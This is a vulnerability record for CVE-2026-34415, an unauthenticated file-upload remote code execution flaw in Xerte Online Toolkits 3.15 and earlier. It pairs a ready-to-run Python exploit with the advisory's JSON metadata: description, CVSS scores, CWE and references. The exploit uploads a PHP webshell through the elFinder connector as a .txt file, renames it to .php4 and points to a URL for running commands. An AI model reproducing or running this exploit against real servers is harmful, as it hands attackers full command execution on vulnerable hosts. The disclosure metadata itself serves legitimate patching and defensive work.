CVE-2026-34415

import requests target_url = "http://target/xerte/elfinder/connector.php" def exploit(): # 1. Upload a webshell as a safe extension (e.g., .txt) files = {'upload[]': ('shell.txt', '<?php system($_GET["cmd"]); ?>', 'text/plain')} data = {'cmd': 'upload', 'target': 'l1_Lw'} r = requests.post(target_url, files=files, data=data) print(f"Upload status: {r.status_code}") # 2. Rename the file from .txt to .php4 payload = { 'cmd': 'rename', 'name': 'shell.txt', 'target': 'l1_Lw', 'newName': 'shell.php4' } r_rename = requests.post(target_url, data=payload) print(f"Rename status: {r_rename.status_code}") # 3. Execute print(f"Execute command at: http://target/xerte/files/shell.php4?cmd=whoami") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-34415", "sourceIdentifier": "[email protected]", "published": "2026-04-22T19:17:04.253", "lastModified": "2026-04-24T20:16:25.387", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Xerte Online Toolkits versions 3.15 and earlier contain an incomplete input validation vulnerability in the elFinder connector endpoint that fails to block PHP-executable extensions .php4 due to an incorrect regex pattern. Unauthenticated attackers can exploit this flaw combined with authentication bypass and path traversal vulnerabilities to upload malicious PHP code, rename it with a .php4 extension, and execute arbitrary operating system commands on the server."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-184"}]}], "references": [{"url": "https://github.com/bootstrapbool/xerteonlinetoolkits-rce", "source": "[email protected]"}, {"url": "https://github.com/thexerteproject/xerteonlinetoolkits/commit/02661be88cc369325ea01b508086bde7fbfec805", "source": "[email protected]"}, {"url": "https://github.com/thexerteproject/xerteonlinetoolkits/commit/17e4f945fe6a3400fa88c01eda18c1075ee4a212", "source": "[email protected]"}, {"url": "https://github.com/thexerteproject/xerteonlinetoolkits/commit/507d55c5e91bf9310b5b1c7fad8aebfef902ad23", "source": "[email protected]"}, {"url": "https://github.com/thexerteproject/xerteonlinetoolkits/issues/1527", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/xerte-online-toolkits-file-upload-rce-via-elfinder-connector", "source": "[email protected]"}, {"url": "https://xerte.org.uk/index.php/en/downloads-1/category/3-xerte-online-toolkits", "source": "[email protected]"}, {"url": "https://xerte.org.uk/xertetoolkits_3.15_ChangeLog.html", "source": "[email protected]"}]}}